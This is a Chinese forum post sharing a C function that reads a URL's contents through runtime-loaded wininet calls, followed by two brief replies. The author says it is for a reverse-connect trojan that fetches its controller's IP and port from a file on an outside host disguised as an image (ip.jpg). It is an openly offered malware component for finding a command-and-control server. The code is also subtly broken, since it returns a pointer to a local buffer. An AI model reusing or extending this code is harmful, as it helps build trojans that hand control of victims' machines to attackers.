阅读:3323回复:2
读指定URL的内容
读指定URL的内容,最多999个字节。反弹木马URL配置IP信息时用到,比如读取
h ttp://w ww.xicao.com/ip.jpg 内容为:192.168.2.232:8080 /***************************************************************** * Author :xicao * 函数介绍: 读指定URL的内容 * 输入参数: char Url[]- URL地址 * 返 回 值: 网页内容,最多1000个字节 *****************************************************************/ char* HttpGetFile(char Url[]) { HMODULE hDll; LPVOID hInternet,hUrlHandle; char buf[1000],*pBuf; pBuf=buf; DWORD dwFlags; hDll = LoadLibrary("wininet.dll"); if(hDll) { typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD ); typedef LPVOID ( WINAPI * pInternetOpenUrl ) ( LPVOID ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD); typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID ); typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ; pInternetOpen InternetOpen=NULL; pInternetOpenUrl InternetOpenUrl=NULL; pInternetCloseHandle InternetCloseHandle=NULL; pInternetReadFile InternetReadFile=NULL; InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" ); InternetOpenUrl = (pInternetOpenUrl ) GetProcAddress ( hDll, "InternetOpenUrlA"); InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle"); InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile"); hInternet = InternetOpen("xicao",0, NULL, NULL, 0); if (hInternet != NULL) { hUrlHandle = InternetOpenUrl(hInternet, Url, NULL, 0, 0x04000000, 0); if (hUrlHandle!= NULL) { memset(buf,0,1000); InternetReadFile(hUrlHandle, buf,999, &dwFlags); InternetCloseHandle(hUrlHandle); hUrlHandle = NULL; } InternetCloseHandle(hInternet); hInternet = NULL; } FreeLibrary(hDll); return pBuf; } else return NULL; } |
|
沙发#
发布于:2007-12-09 20:08
呵呵,这个没什么计数含量:)
|
|
板凳#
发布于:2009-11-27 09:23
能否在此基础上实现修改URL~ 让其在次转发
|
|